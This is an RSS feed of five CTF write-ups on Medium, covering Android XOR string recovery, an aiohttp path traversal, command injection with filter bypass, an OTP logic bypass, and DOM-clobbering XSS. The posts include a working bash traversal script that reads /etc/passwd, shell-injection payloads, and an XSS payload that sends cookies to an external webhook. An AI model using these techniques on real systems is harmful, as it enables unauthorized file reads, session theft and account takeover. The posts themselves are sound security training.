<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Bader ALmutairi on Medium]]></title>
        <description><![CDATA[Stories by Bader ALmutairi on Medium]]></description>
        <link>https://medium.com/@sudosquiid?source=rss-2329a64ca32c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*atwitm8PRswrqLChO2HDEw@2x.jpeg</url>
            <title>Stories by Bader ALmutairi on Medium</title>
            <link>https://medium.com/@sudosquiid?source=rss-2329a64ca32c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:41:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sudosquiid/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[‍Mobile 3 — CyberXbytes Android]]></title>
            <link>https://sudosquiid.medium.com/mobile-3-cyberxbytes-android-3c56963dd064?source=rss-2329a64ca32c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c56963dd064</guid>
            <category><![CDATA[apk]]></category>
            <category><![CDATA[mobile-pentesting]]></category>
            <category><![CDATA[pt]]></category>
            <category><![CDATA[xor]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Bader ALmutairi]]></dc:creator>
            <pubDate>Wed, 19 Nov 2025 07:51:48 GMT</pubDate>
            <atom:updated>2025-11-19T07:51:48.828Z</atom:updated>
            <content:encoded><![CDATA[<h3>👨🏻‍💻<strong>Mobile 3</strong> — CyberXbytes Android</h3><p>السلام عليكم ورحمة الله</p><p>اللهم صّلِ وسَلّمْ عَلۓِ نَبِيْنَامُحَمد ﷺ</p><p>In this write-up I’ll walk through how I solved the <strong>Mobile 3</strong> challenge from the <strong>CyberXbytes</strong> platform.<br> The challenge was an Android APK that hid a URL using XOR’d integer arrays and then fetched a flag over HTTPS with certificate pinning in place.</p><h3>Challenge Overview</h3><ul><li><strong>Platform:</strong> CyberXbytes</li><li><strong>Challenge name:</strong> Mobile 3</li><li><strong>Category:</strong> Mobile / Android</li><li><strong>Difficulty:</strong> Hard</li><li><strong>Artifact:</strong> app-debug 3.apk</li><li><strong>Goal:</strong> Recover the flag from the backend API</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QpKG5b0aL3uRFLJ1CqMO1A.png" /></figure><h3>1. Initial Recon — Loading the APK</h3><p>First, I downloaded the challenge file:</p><pre>app-debug 3.apk</pre><p>Once loaded, I went straight to the manifest to find the main package and entry point:</p><ul><li>Opened: AndroidManifest.xml</li><li>Found the package name:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mzAqZIYO7rc2rQ4mIpa3Xg.png" /></figure><pre>package=&quot;com.cxb.gf&quot;</pre><p>So I browsed into:</p><pre>com &gt; cxb.gf &gt; MainActivity</pre><p>MainActivity is usually the best starting point in small CTF-style apps.</p><h3><strong>Inspecting </strong><strong>MainActivity</strong></h3><p>Inside MainActivity, I found some very interesting fields:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4992U32KDSOoCFnHXYw4FA.png" /></figure><p>src:</p><pre>public final class MainActivity extends AppCompatActivity {<br>    private static final String PIN = &quot;rf23gUftALO9a+QyWg/RkCh07sPQGhCOxJLDTFT9I6Q=&quot;;<br>    private TextView tv;<br><br>    private final int[] a1 = {76, 76, 135, 54, 42, 38, 159, 254};<br>    private final int[] b1 = {36, 56, 243, 70, 89, 28, 176, 209};<br><br>    private final int[] a2 = {17, 217, 65, 79, 242, 36, 136, 194, AppCompatDelegate.FEATURE_SUPPORT_ACTION_BAR_OVERLAY, 4, 170, 71, 153};<br>    private final int[] b2 = {32, 225, 116, 97, 195, 28, 189, 236, 85, 54, 132, 117, 160};<br><br>    private final int[] a3 = {176, 207, 47, 71, 151, 123};<br>    private final int[] b3 = {138, 254, 31, 119, 166, 74};<br><br>    private final int[] a4 = {96, 158, 155, 242, 66, 245, 167, 8, 125};<br>    private final int[] b4 = {79, 255, 235, 155, AppCompatDelegate.FEATURE_SUPPORT_ACTION_BAR_OVERLAY, 147, 203, 105, 26};</pre><p>The presence of multiple int[] pairs (a1/b1, a2/b2, etc.) is suspicious.</p><p>Scrolling further down, I found this helper function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jLQWA6VW8XlzQvbnueLoVQ.png" /></figure><p>src:</p><pre>private final String x(int[] a, int[] b) {<br>    char[] out = new char[a.length];<br>    int length = a.length;<br>    for (int i = 0; i &lt; length; i++) {<br>        out[i] = (char) (a[i] ^ b[i]);<br>    }<br>    return new String(out);<br>}</pre><p>This clearly performs a <strong>byte-wise XOR</strong> between the corresponding elements of the two arrays and converts the result to characters — classic obfuscation of a string.</p><p>Then, even more important:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*bszR9F5uBIvVWIv7A50XpQ.png" /></figure><p>src:</p><pre>private final String u() {<br>    return x(this.a1, this.b1)<br>         + x(this.a2, this.b2)<br>         + x(this.a3, this.b3)<br>         + x(this.a4, this.b4);<br>}</pre><p>So the full URL is being built by XOR-decoding four parts and concatenating them.</p><p>This u() function is then used in the network request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*zoWSywlshxk7q2TxqwzdgA.png" /></figure><p>src :</p><pre>private final String req() {<br>        String url = u();<br>        try {<br>            OkHttpClient c = client(PIN);<br>            Response resp = c.newCall(new Request.Builder()./service/https://medium.com/url(url).build()).execute();<br>            return resp.isSuccessful() ? &quot;OK&quot; : &quot;Not allowed!&quot;;<br>        } catch (Exception e) {<br>            return &quot;Not allowed!&quot;;<br>        }<br>    }</pre><p>If we can decode u(), we’ll get the <strong>full HTTPS URL</strong> that the app uses to fetch the flag.</p><p>3. Decoding the XOR’d URL</p><p>Instead of running the app and trying to hook it, it’s much easier to <strong>reimplement the XOR logic</strong> outside the app.</p><p>There is one small caveat:<br> The arrays include AppCompatDelegate.FEATURE_SUPPORT_ACTION_BAR_OVERLAY instead of a raw number. That’s just a constant; its value is <strong>109</strong>. So when re-implementing, we replace that with 109.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*RcTcD0FYIh3UwrSzcoVVgw.png" /></figure><p>src:</p><pre>def x(a, b):<br>    return &#39;&#39;.join(chr(x ^ y) for x, y in zip(a, b))<br><br>a1 = [76, 76, 135, 54, 42, 38, 159, 254]<br>b1 = [36, 56, 243, 70, 89, 28, 176, 209]<br><br>a2 = [17, 217, 65, 79, 242, 36, 136, 194, 109, 4, 170, 71, 153]  # FEATURE_SUPPORT_ACTION_BAR_OVERLAY = 109<br>b2 = [32, 225, 116, 97, 195, 28, 189, 236, 85, 54, 132, 117, 160]<br><br>a3 = [176, 207, 47, 71, 151, 123]<br>b3 = [138, 254, 31, 119, 166, 74]<br><br>a4 = [96, 158, 155, 242, 66, 245, 167, 8, 125]<br>b4 = [79, 255, 235, 155, 109, 147, 203, 105, 26]  # same constant here<br><br>p1 = x(a1, b1)<br>p2 = x(a2, b2)<br>p3 = x(a3, b3)<br>p4 = x(a4, b4)<br><br>print(repr(p1))<br>print(repr(p2))<br>print(repr(p3))<br>print(repr(p4))<br><br>url = p1 + p2 + p3 + p4<br>print(url)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*6QKvyv6rpmToJZjiGda1PA.png" /></figure><p>Apply what you learn so that you can learn more, and say:</p><p><strong>اللهم انفعني بما علمتني، وعلمني ما ينفعني، وزدني علمًا</strong></p><h3>Good luck 🌟</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c56963dd064" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Bits And Bytes Write-up — vulnbydefault CTF]]></title>
            <link>https://sudosquiid.medium.com/bits-and-bytes-write-up-vulnbydefault-ctf-69eaa71f950c?source=rss-2329a64ca32c------2</link>
            <guid isPermaLink="false">https://medium.com/p/69eaa71f950c</guid>
            <category><![CDATA[aiohttp]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[path-traversal]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Bader ALmutairi]]></dc:creator>
            <pubDate>Wed, 19 Nov 2025 03:44:46 GMT</pubDate>
            <atom:updated>2025-11-19T03:44:46.538Z</atom:updated>
            <content:encoded><![CDATA[<h3>🥷 Bits And Bytes Write-up — vulnbydefault CTF</h3><p>السلام عليكم ورحمة الله</p><p>اللهم صّلِ وسَلّمْ عَلۓِ نَبِيْنَامُحَمد ﷺ</p><p>Challenge Overview:</p><p>The challenge revolves around a <strong>path traversal / local file read</strong> vulnerability affecting this version of aiohttp.</p><h3>1.Initial Recon</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*8Gz3inldgYRCY19UiblJEg.png" /></figure><p>The important detail here is the <strong>Server header</strong>, revealing aiohttp/3.9.1, which is known to be affected by a <strong>path traversal vulnerability</strong> in its static file handling.</p><h3>2. Identifying the Vulnerability</h3><p>The presence of aiohttp/3.9.1 suggested that it might be possible to perform directory traversal using crafted paths such as:</p><pre>../</pre><p>combined with the --path-as-is option in curl to prevent normalization of the URL path by the client.</p><p>Goal:<br> Try to read arbitrary files from the filesystem (e.g., /etc/passwd, /flag, etc.).</p><h3>3. Exploit Script:</h3><pre>#!/bin/bash <br><br># Colours<br>greenColour=&quot;\e[0;32m\033[1m&quot;<br>endColour=&quot;\033[0m\e[0m&quot;<br>redColour=&quot;\e[0;31m\033[1m&quot;<br>blueColour=&quot;\e[0;34m\033[1m&quot;<br>yellowColour=&quot;\e[0;33m\033[1m&quot;<br>purpleColour=&quot;\e[0;35m\033[1m&quot;<br>turquoiseColour=&quot;\e[0;36m\033[1m&quot;<br>grayColour=&quot;\e[0;37m\033[1m&quot;<br><br>function helpPanel(){<br>  echo -e &quot;\n${redColour}[!] Usage: $0${endColour}&quot;<br>  for i in $(seq 1 80); do echo -ne &quot;${redColour}-&quot;; done; echo -ne &quot;${endColour}&quot;<br>  echo -e &quot;\n\n\t${grayColour}[-u]${endColour} ${yellowColour}Url to attack${endColour}&quot;<br>  echo -e &quot;\n\t${grayColour}[-f]${endColour} ${yellowColour}File to read${endColour}\n&quot;<br>}<br><br>function sendPayload(){<br>  for i in $(seq 1 15); do <br>    string=&quot;../&quot;<br>    payload+=$string<br>    command=$(curl -s -o /dev/null --path-as-is -w %{http_code} &quot;$url$payload$file&quot;)<br>  <br>    if [[ $command -eq 200 ]]; then<br>      echo -e &quot;\n${grayColour}[+]${endColour} ${yellowColour}The payload${endColour} ${greenColour}$url$payload$file${endColour} ${yellowColour}returned the following content:\n${endColour}&quot;<br>      curl -s --path-as-is $url$payload$file<br>      break<br>    fi<br>  done<br>}<br><br>while getopts &quot;u:f:h:&quot; arg; do <br>  case $arg in<br>    u) url=$OPTARG; let parameter_counter+=1;;<br>    f) file=$OPTARG; let parameter_counter+=1;;<br>    h) helpPanel;;<br>  esac<br>done<br><br>if [[ $parameter_counter -eq 0 ]]; then <br>  helpPanel<br>else <br>  sendPayload<br>fi</pre><h3>4. Proof of Concept — Reading /etc/passwd</h3><pre>bash z.sh -u http://ctf.vulnbydefault.com:25955/ -f /etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*lCdj8ybHfBxXnbhqkquwew.png" /></figure><h3>5. Getting the Flag</h3><p>After confirming the vulnerability, the next logical step was to look for the flag. Common locations in CTF environments are /flag or /flag.txt.</p><pre>bash z.sh -u http://ctf.vulnbydefault.com:25955/ -f /flag.txt</pre><p>No useful output, so I tried just /flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*cfAFg9mf0k5xnCTWzkB9vQ.png" /></figure><p>Apply what you learn so that you can learn more, and say:</p><p><strong>اللهم انفعني بما علمتني، وعلمني ما ينفعني، وزدني علمًا</strong></p><h3>Good luck 🌟</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69eaa71f950c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ EchoEcho CTF Writeup — by vulnbydefault]]></title>
            <link>https://sudosquiid.medium.com/echoecho-ctf-writeup-by-vulnbydefault-7bb2ebf0051d?source=rss-2329a64ca32c------2</link>
            <guid isPermaLink="false">https://medium.com/p/7bb2ebf0051d</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[vulnbydefault]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Bader ALmutairi]]></dc:creator>
            <pubDate>Wed, 19 Nov 2025 01:05:48 GMT</pubDate>
            <atom:updated>2025-11-19T01:06:20.240Z</atom:updated>
            <content:encoded><![CDATA[<h3>💻 EchoEcho CTF Writeup — vulnbydefault</h3><p>السلام عليكم ورحمة الله</p><p>اللهم صّلِ وسَلّمْ عَلۓِ نَبِيْنَامُحَمد ﷺ</p><p>During a recent CTF on <strong>ctf.vulnbydefault.com</strong>, I stumbled on a small web challenge that looked extremely simple at first glance: a page that just <strong>echoes back whatever you type</strong>.</p><p>Of course, in CTF land, anything that looks too harmless is usually hiding something interesting.</p><p>In this write-up I’ll walk through how I turned that echo box into full command execution and finally leaked the flag, despite a filter trying to block direct access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BAi4-Ld9fBD-h73SrRP18w.png" /></figure><p>Challenge Overview:</p><p>The web page (branded as something like <strong>ECHOECHO</strong>) shows a single card in the middle of the screen with a prompt:</p><p>Echo what you type<br> Your input will be echoed back. Can you make it do more?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7PkjqNyZCimozSHIGSnt0A.png" /></figure><p>Under the hood, the browser sends a request like this whenever you submit something:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*1tzWJHjYdKHRbmNZmHoA4A.png" /></figure><p>So the endpoint /submit takes JSON with a &quot;name&quot; field and returns it inside &quot;response&quot;. Classic echo functionality.</p><p>But the question on the page — <em>“Can you make it do more?”</em> — hints that this is vulnerable to something like <strong>command injection</strong>.</p><h3>Step 1 — Probing for Command Injection:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*xnx3pzprfnIFUfcPgyqGtQ.png" /></figure><p>Instead of just echoing ;id, the server actually executed the id command and returned its output. That confirms a <strong>command injection</strong> vulnerability, and we’re executing commands as <strong>root</strong>.</p><h3>Step 2 — Exploring the Environment</h3><p>With command execution confirmed, the natural next step is to inspect the current directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*pvKlJWoVVqGXLul0pyioYw.png" /></figure><p>So we’re sitting in some Python-based web app directory with main.py, requirements.txt and a templates folder.</p><p>To search for the flag, it’s common for CTF containers to place it in / or /root. I wanted to list the root directory.</p><p>Sometimes spaces may be filtered or cause issues depending on how input is processed, so instead of ls / I used the shell’s internal field separator $IFS to act as a space:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xg2hxTTWtAXlo8v61CofpQ.png" /></figure><p>We can clearly see <strong>flag.txt</strong> in the root directory /.</p><p>So far we have:</p><ul><li>Command execution as root.</li><li>We know the flag is at /flag.txt.</li><li>We just need to read it.</li></ul><p>That’s where the challenge gets a bit more interesting.</p><h3>Step 3 — First Attempt to Read /flag.txt</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*zUhAaQt8LApbXYtypSL9oQ.png" /></figure><p>This suggests there’s some <strong>input validation / blacklist</strong> on the server side. It looks like certain patterns (probably flag.txt or maybe flag) are blocked.</p><p>Even though command injection works, the application is trying to prevent us from directly reading the flag by looking for “dangerous” substrings in the input.</p><p>So we need to evade the filter.</p><h3>Step 4 — Bypassing the Filter with String Splitting</h3><p>The idea is:</p><pre>cat /&#39;f&#39;lag.tx&#39;t&#39;</pre><p>The shell concatenates adjacent string literals:</p><ul><li>&#39;f&#39; + lag.tx + &#39;t&#39; → flag.txt</li></ul><p>So the command the shell executes is equivalent to:</p><pre>cat /flag.txt</pre><p>but the literal flag.txt never appears as a continuous substring in our input, so a simple blacklist won’t catch it.</p><p>I sent this payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*u76SQCZi1q-Koz77KBeW2g.png" /></figure><p>Apply what you learn so that you can learn more, and say:</p><p><strong>اللهم انفعني بما علمتني، وعلمني ما ينفعني، وزدني علمًا</strong></p><h4>Good luck 🌟</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7bb2ebf0051d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberXbytes 2025 WEB 1 Medium]]></title>
            <link>https://sudosquiid.medium.com/cyberxbytes-2025-web-medium-9582d7c26dbb?source=rss-2329a64ca32c------2</link>
            <guid isPermaLink="false">https://medium.com/p/9582d7c26dbb</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cyberxbytes]]></category>
            <category><![CDATA[otp-bypass]]></category>
            <dc:creator><![CDATA[Bader ALmutairi]]></dc:creator>
            <pubDate>Tue, 18 Nov 2025 05:47:26 GMT</pubDate>
            <atom:updated>2025-11-18T05:50:59.527Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم ورحمة الله</p><p>اللهم صّلِ وسَلّمْ عَلۓِ نَبِيْنَامُحَمد ﷺ</p><h3>Introduction</h3><p>In this write-up, I’ll walk through a web challenge from a CyberXBytes CTF where a seemingly secure email + password + OTP login flow was implemented… but a subtle logic flaw made it possible to completely bypass the OTP and log in as the admin account.</p><p>We’ll go step-by-step from basic recon to full admin takeover and finally grabbing the flag.</p><p><strong><em>Challenge Overview :</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*z17qEKktLLu8-_aXvcOAkQ.png" /><figcaption>The home page for guests looked like this</figcaption></figure><p>The email flag@cyberxbytes.com was a strong hint that this is the admin / flag owner account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*wdmrJzJi8nabCTk2UT5mJQ.png" /><figcaption>Visiting /register returned a simple registration form:</figcaption></figure><p>There’s an obvious <strong>information disclosure</strong> here:</p><pre>&lt;!-- admin password: Admin123! --&gt;</pre><p>So we now know the admin password is:</p><blockquote>Admin123!</blockquote><h3>Step 2 — Testing Registration Logic</h3><p>I first tried to register using the flag email:</p><pre>POST /register<br>Content-Type: application/x-www-form-urlencoded<br><br>username=admin&amp;email=flag%40cyberxbytes.com&amp;password=flag%40cyberxbytes.com</pre><pre>HTTP/1.1 400 BAD REQUEST<br>Email exists</pre><p>This confirms:</p><p>There is already an account with <a href="/service/mailto:flag@cyberxbytes.com">flag@cyberxbytes.com</a> — likely the real admin.</p><p>Step 3— Logging in as the Admin (flag@cyberxbytes.com)</p><p>From the HTML comment earlier, we already knew the admin password:</p><pre>POST /login HTTP/1.1<br>Host: web.cyberxbytes.com:10014<br>Content-Type: application/x-www-form-urlencoded<br><br>email=flag%40cyberxbytes.com&amp;password=Admin123%21</pre><p>The server accepts the email and password, but instead of logging you in directly, it shows an <strong>OTP page</strong>:</p><pre>&lt;!doctype html&gt;&lt;title&gt;Enter OTP&lt;/title&gt;<br>&lt;h2&gt;Enter OTP for flag@cyberxbytes.com&lt;/h2&gt;<br>&lt;p id=&quot;msg&quot;&gt;We sent a 4-digit code to your email.&lt;/p&gt;<br>&lt;input id=&quot;otp&quot; maxlength=&quot;4&quot; /&gt;<br>&lt;button id=&quot;submit&quot;&gt;Verify&lt;/button&gt;<br>&lt;script&gt;<br>document.getElementById(&#39;submit&#39;).onclick = function(){<br>  const otp = document.getElementById(&#39;otp&#39;).value;<br>  const email = &quot;flag@cyberxbytes.com&quot;;<br>  fetch(&#39;/api/verify-otp&#39;, {<br>    method: &#39;POST&#39;,<br>    headers: {<br>      &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;,<br>      &#39;Accept&#39;: &#39;application/json&#39;,<br>      &#39;X-Requested-With&#39;: &#39;XMLHttpRequest&#39;<br>    },<br>    body: &#39;email=&#39; + encodeURIComponent(email) + &#39;&amp;otp=&#39; + encodeURIComponent(otp)<br>  }).then(r =&gt; r.json()).then(j =&gt; {<br>    // CRUCIAL: if the response contains status == &#39;success&#39;, client will call /complete_login<br>    if (j.status === &#39;success&#39;) {<br>      // issue the complete_login request automatically (this triggers server side session creation)<br>      fetch(&#39;/complete_login?email=&#39; + encodeURIComponent(email) + &#39;&amp;token=&#39; + encodeURIComponent(j.token), {<br>        method: &#39;GET&#39;,<br>        credentials: &#39;same-origin&#39;<br>      }).then(() =&gt; {<br>        window.location = &#39;/&#39;;<br>      });<br>      return;<br>    } else {<br>      document.getElementById(&#39;msg&#39;).innerText =<br>        j.message + (j.attempts_left !== undefined ? (&#39; Attempts left: &#39; + j.attempts_left) : &#39;&#39;);<br>    }<br>  }).catch(e =&gt; {<br>    document.getElementById(&#39;msg&#39;).innerText = &#39;Error: &#39; + e;<br>  });<br>};<br>&lt;/script&gt;</pre><p>From this JavaScript you understand the flow:</p><p>1 — The browser sends email + otp to /api/verify-otp.</p><p>2 — The server responds with JSON.</p><p>3 — <strong>Only if</strong> j.status === &#39;success&#39;, the frontend calls:</p><p>/complete_login creates the real server-side session.</p><p>So OTP verification is <strong>split</strong> into:</p><p>1 — /api/verify-otp → check OTP and return JSON (+ token)</p><p>2 — /complete_login → finalize login using email + token</p><pre>POST /api/verify-otp HTTP/1.1<br>Host: web.cyberxbytes.com:10014<br>Content-Type: application/x-www-form-urlencoded<br><br>email=flag%40cyberxbytes.com&amp;otp=1234</pre><pre>{<br>  &quot;attempts_left&quot;: 2,<br>  &quot;message&quot;: &quot;Wrong OTP&quot;,<br>  &quot;status&quot;: &quot;failed&quot;,<br>  &quot;token&quot;: &quot;4vOHo-F5GeuP9VGTBoyL6XokDqLApjsUlWkWgR-zOrSKGW_P8bPGHqSUjohrAmlh&quot;<br>}</pre><p>This is the <strong>critical bug</strong>:</p><ul><li>Even when status is &quot;failed&quot;, the server still returns a <strong>token</strong>.</li><li>The frontend refuses to use it (because it checks status === &#39;success&#39;),<br> but nothing stops <strong>you</strong> from using it manually.</li></ul><p>So you suspect the backend does something like:</p><pre>def complete_login(email, token):<br></pre><p>Step 4 — Manually Calling /complete_login (OTP Bypass)</p><pre>GET /complete_login?email=flag%40cyberxbytes.com&amp;token=4vOHo-F5GeuP9VGTBoyL6XokDqLApjsUlWkWgR-zOrSKGW_P8bPGHqSUjohrAmlh HTTP/1.1<br>Host: web.cyberxbytes.com:10014</pre><pre>HTTP/1.1 302 FOUND<br>Location: /?msg=Logged+in<br>Set-Cookie: session=eyJ1c2VyX2VtYWlsIjoiZmxhZ0BjeWJlcnhieXRlcy5jb20ifQ...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*FVI1xagfh6URTRExeTFCBQ.gif" /></figure><p>This confirms:</p><ul><li>The backend <strong>accepted</strong> the token,</li><li>Created a session where user_email = &quot;flag@cyberxbytes.com&quot;,</li><li>And logged you in as the admin,</li><li>Even though the OTP was wrong.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*IRHKIyNNdwKsar1emUsBPQ.png" /><figcaption>it’s Easyyyyyyyyyyyyy</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9582d7c26dbb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ DOM Clobbering XSS — vulnbydefault Stitchify Write-Up]]></title>
            <link>https://sudosquiid.medium.com/dom-clobbering-xss-vulnbydefault-write-up-f6bb6a412de8?source=rss-2329a64ca32c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6bb6a412de8</guid>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <dc:creator><![CDATA[Bader ALmutairi]]></dc:creator>
            <pubDate>Mon, 17 Nov 2025 23:25:16 GMT</pubDate>
            <atom:updated>2025-11-18T06:47:54.570Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم ورحمة الله</p><p>اللهم صّلِ وسَلّمْ عَلۓِ نَبِيْنَامُحَمد ﷺ</p><p><strong>Introduction</strong> :</p><p><strong>This challenge revolves around a reflected XSS vulnerability, which at first appears to be filtered. The goal is to extract the flag by executing JavaScript through browser-side DOM manipulation.</strong></p><p><strong>Source Code Analysis</strong></p><pre>const urlParams = new URLSearchParams(window.location.search);<br>for (var [key, value] of urlParams) {<br>    if (document.getElementById(key)) {<br>        document.getElementById(key).innerText = `${value}`;<br>    } else if (window.CSHCTF25) {<br>        document.write(`${key} = ${value}`);<br>    } else {<br>        key = DOMPurify.sanitize(key);<br>        document.write(`&lt;span&gt;${key} not found in the document&lt;/span&gt;`);<br>    }<br>}</pre><p>The JavaScript checks each query parameter in the URL. If the key matches an element’s id, it sets its innerText. If a special key window.CSHCTF25 exists, it directly reflects unsanitized content using document.write, creating a potential XSS sink.</p><p><strong>Understanding the Vulnerability :</strong></p><p>The key trick is to make window.CSHCTF25 evaluate to true. Browsers automatically assign global variables based on DOM id attributes. By injecting &lt;div id=&quot;CSHCTF25&quot;&gt;&lt;/div&gt; into the DOM, we satisfy the second condition in the JavaScript code.</p><p><strong>Payload Construction :</strong></p><p>We use DOM Clobbering to create window.CSHCTF25, then inject an image tag with an onerror handler to exfiltrate cookies or fetch /flag. Everything must be URL-encoded to survive parsing.</p><pre>&lt;div id=&quot;CSHCTF25&quot;&gt;&lt;/div&gt;<br>&lt;img src=x onerror=&quot;new Image().src=&#39;https://webhook.site/...?c=&#39;+encodeURIComponent(document.cookie)&quot;&gt;</pre><p><strong>The full payload (URL-encoded):</strong></p><pre>http://ctf.vulnbydefault.com:57564/?%3Cdiv%20id%3D%22CSHCTF25%22%3E%3C/div%3E&amp;zzz=%3Cimg%20src%3Dx%20onerror%3D%22new%20Image%28%29.src%3D%27https%3A//webhook.site/....%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%22%3E</pre><p>Exploiting the Bot:</p><pre>curl -X POST http://ctf.vulnbydefault.com:57564/bot \<br>  -d &quot;url=PASTE_ENCODED_URL_HERE&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*xrEghfrwJ6MjDBtpM5ks5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*6Qp-o94lyUVZZdMnty3Ltg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*FVI1xagfh6URTRExeTFCBQ.gif" /></figure><h3>Challenge solved!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6bb6a412de8" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>